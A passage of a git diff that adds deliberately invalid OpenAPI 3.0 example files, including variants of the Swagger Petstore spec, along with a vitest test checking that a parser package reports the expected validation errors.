+  version: 1.0.0
+paths:
+  /{version}{rev}/customers:      # https://api.example.org/v2;rev=2/customers
+    parameters:
+    - name: version
+      in: path
+      schema: 
+        type: string
+    - name: rev
+      in: path
+      style: matrix
+      schema:
+        type: int
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/gluecon/example3_from_._Different_servers.md.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/gluecon/example3_from_._Different_servers.md.yaml
new file mode 100644
index 0000000..e687a5e
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/gluecon/example3_from_._Different_servers.md.yaml
@@ -0,0 +1,13 @@
+openapi: 3.0.0
+info:
+  title: How server URLs can be templated
+  version: 1.0.0
+
+servers:
+- url: https://{tenant}.acme.com/api/{version}
+  variables:
+    tenant:
+      default: sample  #default is a required field
+    version:
+      default: v2
+paths:
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/gluecon/example3_from_._Improved_schemaobject.md.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/gluecon/example3_from_._Improved_schemaobject.md.yaml
new file mode 100644
index 0000000..f65ef03
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/gluecon/example3_from_._Improved_schemaobject.md.yaml
@@ -0,0 +1,5 @@
+oneOf:
+  - type: number
+    multipleOf: 5
+  - type: number
+    multipleOf: 3
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/gluecon/example3_from_._New_callbacks.md.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/gluecon/example3_from_._New_callbacks.md.yaml
new file mode 100644
index 0000000..b380810
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/gluecon/example3_from_._New_callbacks.md.yaml
@@ -0,0 +1,51 @@
+openapi: 3.0.0
+info:
+  title: Example of links with callbacks
+  version: 0.9.0
+paths:
+  /longrunning-thing:
+    post: 
+      parameters:
+        name: heartbeat-url
+        in: query
+        schema:
+          type: string
+          format: uri
+      requestBody:
+        content:
+          application/json:
+            schema:
+              type: object
+              properties:
+                failedUrl:
+                  type: string
+                successUrl:
+                  type: string
+      responses:
+        '200': 
+          description: Long running thing initiated
+      callbacks:
+        heartbeat:
+          '$request.query.heartbeat-url':
+            post:
+              requestBody:
+                $ref: '#/components/requestBodies/heartbeatMessage'
+              responses:
+                '200':
+                  description: Consumer acknowledged the callback   
+        failed:
+          '$response.body#/failedUrl':
+            post:
+              requestBody:
+                $ref: '#/components/requestBodies/failedMessage'
+              responses:
+                '200':
+                  description: Consumer acknowledged the callback   
+        success:
+          '$response.body#/successUrl':
+            post:
+              requestBody:
+                $ref: '#/components/requestBodies/successMessage'
+              responses:
+                '200':
+                  description: Consumer acknowledged the callback   
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/gluecon/example4_from_._Different_parameters.md.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/gluecon/example4_from_._Different_parameters.md.yaml
new file mode 100644
index 0000000..97e80a6
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/gluecon/example4_from_._Different_parameters.md.yaml
@@ -0,0 +1,11 @@
+openapi: 3.0.0
+info:
+  title: A map of parameter values
+  version: 1.0.0
+paths:
+  /customers:      # https://api.example.org/customers?active=true&country=Canada&category=first
+    parameters:
+    - name: filters
+      style: form
+      schema: 
+        type: object
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/gluecon/example4_from_._Improved_schemaobject.md.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/gluecon/example4_from_._Improved_schemaobject.md.yaml
new file mode 100644
index 0000000..d538200
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/gluecon/example4_from_._Improved_schemaobject.md.yaml
@@ -0,0 +1,2 @@
+not:
+  type: string
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/gluecon/example5_from_._Different_parameters.md.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/gluecon/example5_from_._Different_parameters.md.yaml
new file mode 100644
index 0000000..37a39ff
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/gluecon/example5_from_._Different_parameters.md.yaml
@@ -0,0 +1,19 @@
+openapi: 3.0.0
+info:
+  title: A map of parameter values
+  version: 1.0.0
+paths:
+  /customers:      # https://api.example.org/customers?active=true&country=Canada&category=first
+    parameters:
+    - name: complexQuery
+      in: query
+      content:
+        application/sparql-query:
+        schema:
+          type: string
+        example: |- 
+          SELECT ?title
+          WHERE
+          {
+            <http://example.org/book/book1> <http://purl.org/dc/elements/1.1/title> ?title .
+          }  
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/gluecon/example5_from_._Improved_schemaobject.md.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/gluecon/example5_from_._Improved_schemaobject.md.yaml
new file mode 100644
index 0000000..edc2d39
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/gluecon/example5_from_._Improved_schemaobject.md.yaml
@@ -0,0 +1,8 @@
+Record:
+  type: object
+  properties:
+    id:
+      type: integer
+    color:
+      type: string
+      nullable: true
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/hasFlowNotFlows.json b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/hasFlowNotFlows.json
new file mode 100644
index 0000000..ac8259a
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/hasFlowNotFlows.json
@@ -0,0 +1,1076 @@
+{
+  "openapi": "3.0.0-RC1",
+  "servers": [
+    {
+      "url": "http://petstore.swagger.io/v2"
+    }
+  ],
+  "x-origin": [
+    {
+      "url": "http://petstore.swagger.io/v2/swagger.json",
+      "format": "swagger",
+      "version": "2.0",
+      "converter": {
+        "url": "https://github.com/mermade/swagger2openapi",
+        "version": "2.0.0"
+      }
+    }
+  ],
+  "info": {
+    "description": "This is a sample server Petstore server.  You can find out more about Swagger at [http://swagger.io](http://swagger.io) or on [irc.freenode.net, #swagger](http://swagger.io/irc/).  For this sample, you can use the api key `special-key` to test the authorization filters.",
+    "version": "1.0.0",
+    "title": "Swagger Petstore",
+    "termsOfService": "http://swagger.io/terms/",
+    "contact": {
+      "email": "apiteam@swagger.io"
+    },
+    "license": {
+      "name": "Apache 2.0",
+      "url": "http://www.apache.org/licenses/LICENSE-2.0.html"
+    }
+  },
+  "tags": [
+    {
+      "name": "pet",
+      "description": "Everything about your Pets",
+      "externalDocs": {
+        "description": "Find out more",
+        "url": "http://swagger.io"
+      }
+    },
+    {
+      "name": "store",
+      "description": "Access to Petstore orders"
+    },
+    {
+      "name": "user",
+      "description": "Operations about user",
+      "externalDocs": {
+        "description": "Find out more about our store",
+        "url": "http://swagger.io"
+      }
+    }
+  ],
+  "paths": {
+    "/pet": {
+      "post": {
+        "tags": [
+          "pet"
+        ],
+        "summary": "Add a new pet to the store",
+        "description": "",
+        "operationId": "addPet",
+        "parameters": [],
+        "responses": {
+          "405": {
+            "description": "Invalid input"
+          }
+        },
+        "security": [
+          {
+            "petstore_auth": [
+              "write:pets",
+              "read:pets"
+            ]
+          }
+        ],
+        "requestBody": {
+          "$ref": "#/components/requestBodies/Pet"
+        }
+      },
+      "put": {
+        "tags": [
+          "pet"
+        ],
+        "summary": "Update an existing pet",
+        "description": "",
+        "operationId": "updatePet",
+        "parameters": [],
+        "responses": {
+          "400": {
+            "description": "Invalid ID supplied"
+          },
+          "404": {
+            "description": "Pet not found"
+          },
+          "405": {
+            "description": "Validation exception"
+          }
+        },
+        "security": [
+          {
+            "petstore_auth": [
+              "write:pets",
+              "read:pets"
+            ]
+          }
+        ],
+        "requestBody": {
+          "$ref": "#/components/requestBodies/Pet"
+        }
+      }
+    },
+    "/pet/findByStatus": {
+      "get": {
+        "tags": [
+          "pet"
+        ],
+        "summary": "Finds Pets by status",
+        "description": "Multiple status values can be provided with comma separated strings",
+        "operationId": "findPetsByStatus",
+        "parameters": [
+          {
+            "name": "status",
+            "in": "query",
+            "description": "Status values that need to be considered for filter",
+            "required": true,
+            "schema": {
+              "type": "array",
+              "items": {
+                "type": "string",
+                "enum": [
+                  "available",
+                  "pending",
+                  "sold"
+                ],
+                "default": "available"
+              }
+            }
+          }
+        ],
+        "responses": {
+          "200": {
+            "description": "successful operation",
+            "content": {
+              "application/xml": {
+                "schema": {
+                  "type": "array",
+                  "items": {
+                    "$ref": "#/components/schemas/Pet"
+                  }
+                }
+              },
+              "application/json": {
+                "schema": {
+                  "type": "array",
+                  "items": {
+                    "$ref": "#/components/schemas/Pet"
+                  }
+                }
+              }
+            }
+          },
+          "400": {
+            "description": "Invalid status value"
+          }
+        },
+        "security": [
+          {
+            "petstore_auth": [
+              "write:pets",
+              "read:pets"
+            ]
+          }
+        ]
+      }
+    },
+    "/pet/findByTags": {
+      "get": {
+        "tags": [
+          "pet"
+        ],
+        "summary": "Finds Pets by tags",
+        "description": "Muliple tags can be provided with comma separated strings. Use tag1, tag2, tag3 for testing.",
+        "operationId": "findPetsByTags",
+        "parameters": [
+          {
+            "name": "tags",
+            "in": "query",
+            "description": "Tags to filter by",
+            "required": true,
+            "schema": {
+              "type": "array",
+              "items": {
+                "type": "string"
+              }
+            }
+          }
+        ],
+        "responses": {
+          "200": {
+            "description": "successful operation",
+            "content": {
+              "application/xml": {
+                "schema": {
+                  "type": "array",
+                  "items": {
+                    "$ref": "#/components/schemas/Pet"
+                  }
+                }
+              },
+              "application/json": {
+                "schema": {
+                  "type": "array",
+                  "items": {
+                    "$ref": "#/components/schemas/Pet"
+                  }
+                }
+              }
+            }
+          },
+          "400": {
+            "description": "Invalid tag value"
+          }
+        },
+        "security": [
+          {
+            "petstore_auth": [
+              "write:pets",
+              "read:pets"
+            ]
+          }
+        ],
+        "deprecated": true
+      }
+    },
+    "/pet/{petId}": {
+      "get": {
+        "tags": [
+          "pet"
+        ],
+        "summary": "Find pet by ID",
+        "description": "Returns a single pet",
+        "operationId": "getPetById",
+        "parameters": [
+          {
+            "name": "petId",
+            "in": "path",
+            "description": "ID of pet to return",
+            "required": true,
+            "schema": {
+              "type": "integer",
+              "format": "int64"
+            }
+          }
+        ],
+        "responses": {
+          "200": {
+            "description": "successful operation",
+            "content": {
+              "application/xml": {
+                "schema": {
+                  "$ref": "#/components/schemas/Pet"
+                }
+              },
+              "application/json": {
+                "schema": {
+                  "$ref": "#/components/schemas/Pet"
+                }
+              }
+            }
+          },
+          "400": {
+            "description": "Invalid ID supplied"
+          },
+          "404": {
+            "description": "Pet not found"
+          }
+        },
+        "security": [
+          {
+            "api_key": []
+          }
+        ]
+      },
+      "post": {
+        "tags": [
+          "pet"
+        ],
+        "summary": "Updates a pet in the store with form data",
+        "description": "",
+        "operationId": "updatePetWithForm",
+        "parameters": [
+          {
+            "name": "petId",
+            "in": "path",
+            "description": "ID of pet that needs to be updated",
+            "required": true,
+            "schema": {
+              "type": "integer",
+              "format": "int64"
+            }
+          }
+        ],
+        "responses": {
+          "405": {
+            "description": "Invalid input"
+          }
+        },
+        "security": [
+          {
+            "petstore_auth": [
+              "write:pets",
+              "read:pets"
+            ]
+          }
+        ],
+        "requestBody": {
+          "content": {
+            "application/x-www-form-urlencoded": {
+              "schema": {
+                "type": "object",
+                "properties": {
+                  "name": {
+                    "description": "Updated name of the pet",
+                    "type": "string",
+                    "required": [
+                      "name"
+                    ]
+                  },
+                  "status": {
+                    "description": "Updated status of the pet",
+                    "type": "string",
+                    "required": [
+                      "status"
+                    ]
+                  }
+                }
+              }
+            }
+          }
+        }
+      },
+      "delete": {
+        "tags": [
+          "pet"
+        ],
+        "summary": "Deletes a pet",
+        "description": "",
+        "operationId": "deletePet",
+        "parameters": [
+          {
+            "name": "api_key",
+            "in": "header",
+            "required": false,
+            "schema": {
+              "type": "string"
+            }
+          },
+          {
+            "name": "petId",
+            "in": "path",
+            "description": "Pet id to delete",
+            "required": true,
+            "schema": {
+              "type": "integer",
+              "format": "int64"
+            }
+          }
+        ],
+        "responses": {
+          "400": {
+            "description": "Invalid ID supplied"
+          },
+          "404": {
+            "description": "Pet not found"
+          }
+        },
+        "security": [
+          {
+            "petstore_auth": [
+              "write:pets",
+              "read:pets"
+            ]
+          }
+        ]
+      }
+    },
+    "/pet/{petId}/uploadImage": {
+      "post": {
+        "tags": [
+          "pet"
+        ],
+        "summary": "uploads an image",
+        "description": "",
+        "operationId": "uploadFile",
+        "parameters": [
+          {
+            "name": "petId",
+            "in": "path",
+            "description": "ID of pet to update",
+            "required": true,
+            "schema": {
+              "type": "integer",
+              "format": "int64"
+            }
+          }
+        ],
+        "responses": {
+          "200": {
+            "description": "successful operation",
+            "content": {
+              "application/json": {
+                "schema": {
+                  "$ref": "#/components/schemas/ApiResponse"
+                }
+              }
+            }
+          }
+        },
+        "security": [
+          {
+            "petstore_auth": [
+              "write:pets",
+              "read:pets"
+            ]
+          }
+        ],
+        "requestBody": {
+          "content": {
+            "application/octet-stream": {
+              "schema": {
+                "type": "string",
+                "format": "binary"
+              }
+            }
+          }
+        }
+      }
+    },
+    "/store/inventory": {
+      "get": {
+        "tags": [
+          "store"
+        ],
+        "summary": "Returns pet inventories by status",
+        "description": "Returns a map of status codes to quantities",
+        "operationId": "getInventory",
+        "parameters": [],
+        "responses": {
+          "200": {
+            "description": "successful operation",
+            "content": {
+              "application/json": {
+                "schema": {
+                  "type": "object",
+                  "additionalProperties": {
+                    "type": "integer",
+                    "format": "int32"
+                  }
+                }
+              }
+            }
+          }
+        },
+        "security": [
+          {
+            "api_key": []
+          }
+        ]
+      }
+    },
+    "/store/order": {
+      "post": {
+        "tags": [
+          "store"
+        ],
+        "summary": "Place an order for a pet",
+        "description": "",
+        "operationId": "placeOrder",
+        "parameters": [],
+        "responses": {
+          "200": {
+            "description": "successful operation",
+            "content": {
+              "application/xml": {
+                "schema": {
+                  "$ref": "#/components/schemas/Order"
+                }
+              },
+              "application/json": {
+                "schema": {
+                  "$ref": "#/components/schemas/Order"
+                }
+              }
+            }
+          },
+          "400": {
+            "description": "Invalid Order"
+          }
+        },
+        "requestBody": {
+          "content": {
+            "application/json": {
+              "description": "order placed for purchasing the pet",
+              "schema": {
+                "$ref": "#/components/schemas/Order"
+              }
+            }
+          }
+        }
+      }
+    },
+    "/store/order/{orderId}": {
+      "get": {
+        "tags": [
+          "store"
+        ],
+        "summary": "Find purchase order by ID",
+        "description": "For valid response try integer IDs with value >= 1 and <= 10. Other values will generated exceptions",
+        "operationId": "getOrderById",
+        "parameters": [
+          {
+            "name": "orderId",
+            "in": "path",
+            "description": "ID of pet that needs to be fetched",
+            "required": true,
+            "schema": {
+              "type": "integer",
+              "format": "int64",
+              "minimum": 1,
+              "maximum": 10
+            }
+          }
+        ],
+        "responses": {
+          "200": {
+            "description": "successful operation",
+            "content": {
+              "application/xml": {
+                "schema": {
+                  "$ref": "#/components/schemas/Order"
+                }
+              },
+              "application/json": {
+                "schema": {
+                  "$ref": "#/components/schemas/Order"
+                }
+              }
+            }
+          },
+          "400": {
+            "description": "Invalid ID supplied"
+          },
+          "404": {
+            "description": "Order not found"
+          }
+        }
+      },
+      "delete": {
+        "tags": [
+          "store"
+        ],
+        "summary": "Delete purchase order by ID",
+        "description": "For valid response try integer IDs with positive integer value. Negative or non-integer values will generate API errors",
+        "operationId": "deleteOrder",
+        "parameters": [
+          {
+            "name": "orderId",
+            "in": "path",
+            "description": "ID of the order that needs to be deleted",
+            "required": true,
+            "schema": {
+              "type": "integer",
+              "format": "int64",
+              "minimum": 1
+            }
+          }
+        ],
+        "responses": {
+          "400": {
+            "description": "Invalid ID supplied"
+          },
+          "404": {
+            "description": "Order not found"
+          }
+        }
+      }
+    },
+    "/user": {
+      "post": {
+        "tags": [
+          "user"
+        ],
+        "summary": "Create user",
+        "description": "This can only be done by the logged in user.",
+        "operationId": "createUser",
+        "parameters": [],
+        "responses": {
+          "default": {
+            "description": "successful operation"
+          }
+        },
+        "requestBody": {
+          "content": {
+            "application/json": {
+              "description": "Created user object",
+              "schema": {
+                "$ref": "#/components/schemas/User"
+              }
+            }
+          }
+        }
+      }
+    },
+    "/user/createWithArray": {
+      "post": {
+        "tags": [
+          "user"
+        ],
+        "summary": "Creates list of users with given input array",
+        "description": "",
+        "operationId": "createUsersWithArrayInput",
+        "parameters": [],
+        "responses": {
+          "default": {
+            "description": "successful operation"
+          }
+        },
+        "requestBody": {
+          "$ref": "#/components/requestBodies/UserArray"
+        }
+      }
+    },
+    "/user/createWithList": {
+      "post": {
+        "tags": [
+          "user"
+        ],
+        "summary": "Creates list of users with given input array",
+        "description": "",
+        "operationId": "createUsersWithListInput",
+        "parameters": [],
+        "responses": {
+          "default": {
+            "description": "successful operation"
+          }
+        },
+        "requestBody": {
+          "$ref": "#/components/requestBodies/UserArray"
+        }
+      }
+    },
+    "/user/login": {
+      "get": {
+        "tags": [
+          "user"
+        ],
+        "summary": "Logs user into the system",
+        "description": "",
+        "operationId": "loginUser",
+        "parameters": [
+          {
+            "name": "username",
+            "in": "query",
+            "description": "The user name for login",
+            "required": true,
+            "schema": {
+              "type": "string"
+            }
+          },
+          {
+            "name": "password",
+            "in": "query",
+            "description": "The password for login in clear text",
+            "required": true,
+            "schema": {
+              "type": "string",
+              "format": "password"
+            }
+          }
+        ],
+        "responses": {
+          "200": {
+            "description": "successful operation",
+            "headers": {
+              "X-Rate-Limit": {
+                "description": "calls per hour allowed by the user",
+                "schema": {
+                  "type": "integer",
+                  "format": "int32"
+                }
+              },
+              "X-Expires-After": {
+                "description": "date in UTC when token expires",
+                "schema": {
+                  "type": "string",
+                  "format": "date-time"
+                }
+              }
+            },
+            "content": {
+              "application/xml": {
+                "schema": {
+                  "type": "string"
+                }
+              },
+              "application/json": {
+                "schema": {
+                  "type": "string"
+                }
+              }
+            }
+          },
+          "400": {
+            "description": "Invalid username/password supplied"
+          }
+        }
+      }
+    },
+    "/user/logout": {
+      "get": {
+        "tags": [
+          "user"
+        ],
+        "summary": "Logs out current logged in user session",
+        "description": "",
+        "operationId": "logoutUser",
+        "parameters": [],
+        "responses": {
+          "default": {
+            "description": "successful operation"
+          }
+        }
+      }
+    },
+    "/user/{username}": {
+      "get": {
+        "tags": [
+          "user"
+        ],
+        "summary": "Get user by user name",
+        "description": "",
+        "operationId": "getUserByName",
+        "parameters": [
+          {
+            "name": "username",
+            "in": "path",
+            "description": "The name that needs to be fetched. Use user1 for testing. ",
+            "required": true,
+            "schema": {
+              "type": "string"
+            }
+          }
+        ],
+        "responses": {
+          "200": {
+            "description": "successful operation",
+            "content": {
+              "application/xml": {
+                "schema": {
+                  "$ref": "#/components/schemas/User"
+                }
+              },
+              "application/json": {
+                "schema": {
+                  "$ref": "#/components/schemas/User"
+                }
+              }
+            }
+          },
+          "400": {
+            "description": "Invalid username supplied"
+          },
+          "404": {
+            "description": "User not found"
+          }
+        }
+      },
+      "put": {
+        "tags": [
+          "user"
+        ],
+        "summary": "Updated user",
+        "description": "This can only be done by the logged in user.",
+        "operationId": "updateUser",
+        "parameters": [
+          {
+            "name": "username",
+            "in": "path",
+            "description": "name that need to be updated",
+            "required": true,
+            "schema": {
+              "type": "string"
+            }
+          }
+        ],
+        "responses": {
+          "400": {
+            "description": "Invalid user supplied"
+          },
+          "404": {
+            "description": "User not found"
+          }
+        },
+        "requestBody": {
+          "content": {
+            "application/json": {
+              "description": "Updated user object",
+              "schema": {
+                "$ref": "#/components/schemas/User"
+              }
+            }
+          }
+        }
+      },
+      "delete": {
+        "tags": [
+          "user"
+        ],
+        "summary": "Delete user",
+        "description": "This can only be done by the logged in user.",
+        "operationId": "deleteUser",
+        "parameters": [
+          {
+            "name": "username",
+            "in": "path",
+            "description": "The name that needs to be deleted",
+            "required": true,
+            "schema": {
+              "type": "string"
+            }
+          }
+        ],
+        "responses": {
+          "400": {
+            "description": "Invalid username supplied"
+          },
+          "404": {
+            "description": "User not found"
+          }
+        }
+      }
+    }
+  },
+  "externalDocs": {
+    "description": "Find out more about Swagger",
+    "url": "http://swagger.io"
+  },
+  "components": {
+    "schemas": {
+      "Order": {
+        "type": "object",
+        "properties": {
+          "id": {
+            "type": "integer",
+            "format": "int64"
+          },
+          "petId": {
+            "type": "integer",
+            "format": "int64"
+          },
+          "quantity": {
+            "type": "integer",
+            "format": "int32"
+          },
+          "shipDate": {
+            "type": "string",
+            "format": "date-time"
+          },
+          "status": {
+            "type": "string",
+            "description": "Order Status",
+            "enum": [
+              "placed",
+              "approved",
+              "delivered"
+            ]
+          },
+          "complete": {
+            "type": "boolean",
+            "default": false
+          }
+        },
+        "xml": {
+          "name": "Order"
+        }
+      },
+      "Category": {
+        "type": "object",
+        "properties": {
+          "id": {
+            "type": "integer",
+            "format": "int64"
+          },
+          "name": {
+            "type": "string"
+          }
+        },
+        "xml": {
+          "name": "Category"
+        }
+      },
+      "User": {
+        "type": "object",
+        "properties": {
+          "id": {
+            "type": "integer",
+            "format": "int64"
+          },
+          "username": {
+            "type": "string"
+          },
+          "firstName": {
+            "type": "string"
+          },
+          "lastName": {
+            "type": "string"
+          },
+          "email": {
+            "type": "string"
+          },
+          "password": {
+            "type": "string"
+          },
+          "phone": {
+            "type": "string"
+          },
+          "userStatus": {
+            "type": "integer",
+            "format": "int32",
+            "description": "User Status"
+          }
+        },
+        "xml": {
+          "name": "User"
+        }
+      },
+      "Tag": {
+        "type": "object",
+        "properties": {
+          "id": {
+            "type": "integer",
+            "format": "int64"
+          },
+          "name": {
+            "type": "string"
+          }
+        },
+        "xml": {
+          "name": "Tag"
+        }
+      },
+      "Pet": {
+        "type": "object",
+        "required": [
+          "name",
+          "photoUrls"
+        ],
+        "properties": {
+          "id": {
+            "type": "integer",
+            "format": "int64"
+          },
+          "category": {
+            "$ref": "#/components/schemas/Category"
+          },
+          "name": {
+            "type": "string",
+            "example": "doggie"
+          },
+          "photoUrls": {
+            "type": "array",
+            "xml": {
+              "name": "photoUrl",
+              "wrapped": true
+            },
+            "items": {
+              "type": "string"
+            }
+          },
+          "tags": {
+            "type": "array",
+            "xml": {
+              "name": "tag",
+              "wrapped": true
+            },
+            "items": {
+              "$ref": "#/components/schemas/Tag"
+            }
+          },
+          "status": {
+            "type": "string",
+            "description": "pet status in the store",
+            "enum": [
+              "available",
+              "pending",
+              "sold"
+            ]
+          }
+        },
+        "xml": {
+          "name": "Pet"
+        }
+      },
+      "ApiResponse": {
+        "type": "object",
+        "properties": {
+          "code": {
+            "type": "integer",
+            "format": "int32"
+          },
+          "type": {
+            "type": "string"
+          },
+          "message": {
+            "type": "string"
+          }
+        }
+      }
+    },
+    "responses": {},
+    "parameters": {},
+    "examples": {},
+    "requestBodies": {
+      "Pet": {
+        "content": {
+          "application/json": {
+            "description": "Pet object that needs to be added to the store",
+            "schema": {
+              "$ref": "#/components/schemas/Pet"
+            }
+          },
+          "application/xml": {
+            "description": "Pet object that needs to be added to the store",
+            "schema": {
+              "$ref": "#/components/schemas/Pet"
+            }
+          }
+        }
+      },
+      "UserArray": {
+        "content": {
+          "application/json": {
+            "description": "List of user object",
+            "schema": {
+              "type": "array",
+              "items": {
+                "$ref": "#/components/schemas/User"
+              }
+            }
+          }
+        }
+      }
+    },
+    "securitySchemes": {
+      "petstore_auth": {
+        "type": "oauth2",
+        "flow": {
+          "implicit": {
+            "authorizationUrl": "http://petstore.swagger.io/oauth/dialog",
+            "scopes": {
+              "write:pets": "modify pets in your account",
+              "read:pets": "read your pets"
+            }
+          }
+        }
+      },
+      "api_key": {
+        "type": "apiKey",
+        "name": "api_key",
+        "in": "header"
+      }
+    },
+    "headers": {}
+  }
+}
\ No newline at end of file
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/hasFlowNotFlows.test.ts b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/hasFlowNotFlows.test.ts
new file mode 100644
index 0000000..31b0364
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/hasFlowNotFlows.test.ts
@@ -0,0 +1,15 @@
+import { describe, expect, it } from 'vitest'
+
+import { resolve } from '../../../../src'
+import hasFlowNotFlows from './hasFlowNotFlows.json'
+
+describe('hasFlowNotFlows', () => {
+  it('returns an error', async () => {
+    const result = await resolve(hasFlowNotFlows)
+
+    // TODO: This should probably mention the incorrect security type?
+    expect(result.errors?.[0]?.error).toBe(`must have required property '$ref'`)
+    expect(result.errors?.length).toBe(1)
+    expect(result.valid).toBe(false)
+  })
+})
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/incorrectSecType.json b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/incorrectSecType.json
new file mode 100644
index 0000000..c5ca67e
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/incorrectSecType.json
@@ -0,0 +1,1077 @@
+{
+  "openapi": "3.0.0-RC0",
+  "servers": [
+    {
+      "url": "http://petstore.swagger.io/v2"
+    }
+  ],
+  "x-origin": [
+    {
+      "url": "http://petstore.swagger.io/v2/swagger.json",
+      "format": "swagger",
+      "version": "2.0",
+      "converter": {
+        "url": "https://github.com/mermade/swagger2openapi",
+        "version": "1.2.1"
+      }
+    }
+  ],
+  "info": {
+    "description": "This is a sample server Petstore server.  You can find out more about Swagger at [http://swagger.io](http://swagger.io) or on [irc.freenode.net, #swagger](http://swagger.io/irc/).  For this sample, you can use the api key `special-key` to test the authorization filters.",
+    "version": "1.0.0",
+    "title": "Swagger Petstore",
+    "termsOfService": "http://swagger.io/terms/",
+    "contact": {
+      "email": "apiteam@swagger.io"
+    },
+    "license": {
+      "name": "Apache 2.0",
+      "url": "http://www.apache.org/licenses/LICENSE-2.0.html"
+    }
+  },
+  "tags": [
+    {
+      "name": "pet",
+      "description": "Everything about your Pets",
+      "externalDocs": {
+        "description": "Find out more",
+        "url": "http://swagger.io"
+      }
+    },
+    {
+      "name": "store",
+      "description": "Access to Petstore orders"
+    },
+    {
+      "name": "user",
+      "description": "Operations about user",
+      "externalDocs": {
+        "description": "Find out more about our store",
+        "url": "http://swagger.io"
+      }
+    }
+  ],
+  "paths": {
+    "/pet": {
+      "post": {
+        "tags": [
+          "pet"
+        ],
+        "summary": "Add a new pet to the store",
+        "description": "",
+        "operationId": "addPet",
+        "parameters": [],
+        "responses": {
+          "405": {
+            "description": "Invalid input"
+          }
+        },
+        "security": [
+          {
+            "petstore_auth": [
+              "write:pets",
+              "read:pets"
+            ]
+          }
+        ],
+        "requestBody": {
+          "$ref": "#/components/requestBodies/requestBody1"
+        }
+      },
+      "put": {
+        "tags": [
+          "pet"
+        ],
+        "summary": "Update an existing pet",
+        "description": "",
+        "operationId": "updatePet",
+        "parameters": [],
+        "responses": {
+          "400": {
+            "description": "Invalid ID supplied"
+          },
+          "404": {
+            "description": "Pet not found"
+          },
+          "405": {
+            "description": "Validation exception"
+          }
+        },
+        "security": [
+          {
+            "petstore_auth": [
+              "write:pets",
+              "read:pets"
+            ]
+          }
+        ],
+        "requestBody": {
+          "$ref": "#/components/requestBodies/requestBody1"
+        }
+      }
+    },
+    "/pet/findByStatus": {
+      "get": {
+        "tags": [
+          "pet"
+        ],
+        "summary": "Finds Pets by status",
+        "description": "Multiple status values can be provided with comma separated strings",
+        "operationId": "findPetsByStatus",
+        "parameters": [
+          {
+            "name": "status",
+            "in": "query",
+            "description": "Status values that need to be considered for filter",
+            "required": true,
+            "schema": {
+              "type": "array",
+              "items": {
+                "type": "string",
+                "enum": [
+                  "available",
+                  "pending",
+                  "sold"
+                ],
+                "default": "available"
+              }
+            }
+          }
+        ],
+        "responses": {
+          "200": {
+            "description": "successful operation",
+            "content": {
+              "application/xml": {
+                "schema": {
+                  "type": "array",
+                  "items": {
+                    "$ref": "#/components/schemas/Pet"
+                  }
+                }
+              },
+              "application/json": {
+                "schema": {
+                  "type": "array",
+                  "items": {
+                    "$ref": "#/components/schemas/Pet"
+                  }
+                }
+              }
+            }
+          },
+          "400": {
+            "description": "Invalid status value"
+          }
+        },
+        "security": [
+          {
+            "petstore_auth": [
+              "write:pets",
+              "read:pets"
+            ]
+          }
+        ]
+      }
+    },
+    "/pet/findByTags": {
+      "get": {
+        "tags": [
+          "pet"
+        ],
+        "summary": "Finds Pets by tags",
+        "description": "Muliple tags can be provided with comma separated strings. Use tag1, tag2, tag3 for testing.",
+        "operationId": "findPetsByTags",
+        "parameters": [
+          {
+            "name": "tags",
+            "in": "query",
+            "description": "Tags to filter by",
+            "required": true,
+            "schema": {
+              "type": "array",
+              "items": {
+                "type": "string"
+              }
+            }
+          }
+        ],
+        "responses": {
+          "200": {
+            "description": "successful operation",
+            "content": {
+              "application/xml": {
+                "schema": {
+                  "type": "array",
+                  "items": {
+                    "$ref": "#/components/schemas/Pet"
+                  }
+                }
+              },
+              "application/json": {
+                "schema": {
+                  "type": "array",
+                  "items": {
+                    "$ref": "#/components/schemas/Pet"
+                  }
+                }
+              }
+            }
+          },
+          "400": {
+            "description": "Invalid tag value"
+          }
+        },
+        "security": [
+          {
+            "petstore_auth": [
+              "write:pets",
+              "read:pets"
+            ]
+          }
+        ],
+        "deprecated": true
+      }
+    },
+    "/pet/{petId}": {
+      "get": {
+        "tags": [
+          "pet"
+        ],
+        "summary": "Find pet by ID",
+        "description": "Returns a single pet",
+        "operationId": "getPetById",
+        "parameters": [
+          {
+            "name": "petId",
+            "in": "path",
+            "description": "ID of pet to return",
+            "required": true,
+            "schema": {
+              "type": "integer",
+              "format": "int64"
+            }
+          }
+        ],
+        "responses": {
+          "200": {
+            "description": "successful operation",
+            "content": {
+              "application/xml": {
+                "schema": {
+                  "$ref": "#/components/schemas/Pet"
+                }
+              },
+              "application/json": {
+                "schema": {
